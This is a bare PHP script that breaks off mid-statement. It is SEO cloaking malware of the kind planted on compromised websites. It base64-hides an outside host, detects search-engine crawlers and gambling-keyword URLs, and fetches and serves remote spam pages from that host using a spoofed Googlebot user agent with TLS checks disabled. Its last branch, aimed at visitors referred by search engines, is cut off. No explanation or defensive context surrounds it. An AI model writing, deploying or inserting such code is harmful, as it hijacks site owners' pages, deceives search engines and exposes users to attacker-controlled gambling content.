?php set_time_limit(0); error_reporting(0); header("Content-Type: text/html;charset=utf-8"); define('URI', $_SERVER['REQUEST_URI']); define('HOST', base64_decode('aHR0cHM6Ly9mYS5oaHZpcDc4OS5jb20=')); define('MULU', 'app|ios|android|download|blank|bet|casino|games|play|video|poker|root|news|patt|tee|sto|bea|slo|bac|bak|pac|tig|bmw|fru|bull|card|gods|fish|mahj|uri'); function isEngines($userAgent) { return preg_match('/Googlebot|Bingbot|Yahoo!/i', $userAgent); } function isIncludes($uri) { return preg_match('/' . MULU . '/i', $uri); } function isRef($referrer) { return preg_match('/google|bing|yahoo/i', $referrer); } function getContents($url) { if (function_exists('curl_init')) { $ch = curl_init(); curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); $result = curl_exec($ch); $curlError = curl_error($ch); curl_close($ch); if ($result === false) { error_log("cURL Error: " . $curlError); return false; } return $result; } else { return file_get_contents($url); } } $ref = isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : ''; $key = isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : ''; $ym = $_SERVER['HTTP_HOST']; if (isEngines($key)) { header('Content-Type:text/html;charset=utf-8'); if (isIncludes(URI)) { $content = getContents(HOST . "?xhost=" . $ym . '&reurl=' . URI . '&ua=Googlebot' . '&f=google'); if ($content) { echo $content; } else { header("HTTP/1.0 404 Not Found"); echo "404 - Content not found."; exit; } } else { echo file_get_contents('https://fa.hhvip789.com/suijiurl/index.php'); exit; } } else { if (isIncludes(URI) && isRef($ref)) { echo '